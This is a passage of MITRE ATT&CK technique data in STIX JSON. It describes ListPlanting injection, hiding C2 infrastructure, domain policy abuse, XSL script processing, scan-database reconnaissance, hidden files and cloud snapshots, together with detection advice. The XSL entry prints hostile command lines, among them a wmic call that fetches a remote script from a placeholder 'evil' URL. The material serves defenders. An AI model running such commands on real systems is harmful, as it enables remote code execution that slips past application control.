<code>HKCU\\Environment\\UserInitMprLogonScript</code>.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Creation"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["ESET"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", "type": "attack-pattern", "created": "2021-11-22T15:02:15.190Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.015", "url": "https://attack.mitre.org/techniques/T1055/015"}, {"source_name": "Microsoft List View Controls", "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview", "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022."}, {"source_name": "Modexp Windows Process Injection", "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/", "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021."}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2022-03-08T20:59:20.762Z", "name": "ListPlanting", "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>, <code>EnumChildWindows</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be abused for this technique. \n\nConsider monitoring for excessive use of <code>SendMessage</code> and/or <code>PostMessage</code> API functions with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code> arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Modification", "Process: OS API Execution"], "x_mitre_permissions_required": ["User"]}, {"modified": "2024-04-18T19:44:00.603Z", "name": "Hide Infrastructure", "description": "Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)\n\nHiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Matt Mullins", "Eliav Livneh", "Hen Porcilan", "Diyar Saadi Ali"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["macOS", "Windows", "Linux", "Network"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Internet Scan: Response Metadata", "Network Traffic: Network Traffic Content", "Domain Name: Domain Registration", "Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--eb897572-8979-4242-a089-56f294f4c91d", "created": "2024-02-13T17:00:00.175Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1665", "external_id": "T1665"}, {"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}, {"source_name": "TA571", "description": "Axel F, Selena Larson. (2023, October 30).  TA571 Delivers IcedID Forked Loader. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader"}, {"source_name": "mod_rewrite", "description": "Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024.", "url": "https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/"}, {"source_name": "Browser-updates", "description": "Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates"}, {"source_name": "StarBlizzard", "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"}, {"source_name": "QR-cofense", "description": "Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024.", "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"}, {"source_name": "Schema-abuse", "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.", "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}, {"source_name": "Orange Residential Proxies", "description": "Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024.", "url": "https://www.orangecyberdefense.com/global/blog/research/residential-proxies"}, {"source_name": "Facad1ng", "description": "Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.", "url": "https://github.com/spyboy-productions/Facad1ng"}, {"source_name": "sysdig", "description": "Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024.", "url": "https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T04:27:31.884Z", "name": "Domain or Tenant Policy Modification", "description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Obsidian Security"], "x_mitre_deprecated": false, "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Azure AD", "SaaS"], "x_mitre_version": "3.0", "x_mitre_data_sources": ["Active Directory: Active Directory Object Deletion", "Active Directory: Active Directory Object Creation", "Command: Command Execution", "Active Directory: Active Directory Object Modification", "Application Log: Application Log Content"], "x_mitre_defense_bypassed": ["System access controls", "File system access controls"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", "created": "2019-03-07T14:10:32.650Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1484", "external_id": "T1484"}, {"source_name": "CISA SolarWinds Cloud Detection", "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"}, {"source_name": "ADSecurity GPO Persistence 2016", "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", "url": "https://adsecurity.org/?p=2716"}, {"source_name": "Microsoft 365 Defender Solorigate", "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.", "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"}, {"source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"}, {"source_name": "Microsoft - Update or Repair Federated domain", "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"}, {"source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}, {"source_name": "Okta Cross-Tenant Impersonation 2023", "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.", "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"}, {"source_name": "Wald0 Guide to GPOs", "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", "url": "https://wald0.com/?p=179"}, {"source_name": "Harmj0y Abusing GPO Permissions", "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.", "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/"}, {"source_name": "Sygnia Golden SAML", "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", "url": "https://www.sygnia.co/golden-saml-advisory"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Avneet Singh", "Casey Smith", "Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "T1220", "url": "https://attack.mitre.org/techniques/T1220"}, {"source_name": "Reaqta MSXSL Spearphishing MAR 2018", "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/", "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018."}, {"source_name": "Twitter SquiblyTwo Detection APR 2018", "url": "https://twitter.com/dez_/status/986614411711442944", "description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018."}, {"source_name": "LOLBAS Wmic", "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019."}, {"source_name": "Microsoft msxsl.exe", "url": "https://www.microsoft.com/download/details.aspx?id=21714", "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018."}, {"source_name": "Penetration Testing Lab MSXSL July 2017", "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/", "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018."}, {"source_name": "XSL Bypass Mar 2019", "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75", "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019."}, {"source_name": "Microsoft XSLT Script Mar 2017", "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d</code>", "modified": "2022-05-05T05:04:14.238Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "XSL Script Processing", "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Module: Module Load", "Process: Process Creation"], "x_mitre_system_requirements": ["Microsoft Core XML Services (MSXML) or access to wmic.exe"], "x_mitre_defense_bypassed": ["Anti-virus", "Digital Certificate Validation", "Application Control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f", "type": "attack-pattern", "created": "2020-10-02T17:00:44.586Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1596.005", "url": "https://attack.mitre.org/techniques/T1596/005"}, {"source_name": "Shodan", "url": "https://shodan.io", "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:49:49.260Z", "name": "Scan Databases", "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "type": "attack-pattern", "created": "2020-02-26T17:46:13.128Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1564.001", "url": "https://attack.mitre.org/techniques/T1564/001"}, {"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "source_name": "Sofacy Komplex Trojan"}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "source_name": "Antiquated Mac Malware"}, {"url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", "source_name": "WireLurker"}], "modified": "2020-03-29T22:32:25.985Z", "name": "Hidden Files and Directories", "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "File: File Creation", "File: File Metadata", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", "type": "attack-pattern", "created": "2020-06-09T15:33:13.563Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1578.001", "url": "https://attack.mitre.org/techniques/T1578/001"}, {"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}, {"source_name": "AWS Cloud Trail Backup API", "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html", "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020."}, {"source_name": "Azure - Monitor Logs", "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor", "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020."}, {"source_name": "Cloud Audit Logs", "url": "https://cloud.google.com/logging/docs/audit#admin-activity", "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."}, {"source_name": "GCP - Creating and Starting a VM", "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2", "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020."}], "modified": "2021-03-08T10:33:02.060Z", "name": "Create Snapshot", "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>\"sourceSnapshot\":</code> parameter pointed to <code>\"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Snapshot: Snapshot Creation", "Snapshot: Snapshot Metadata"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], 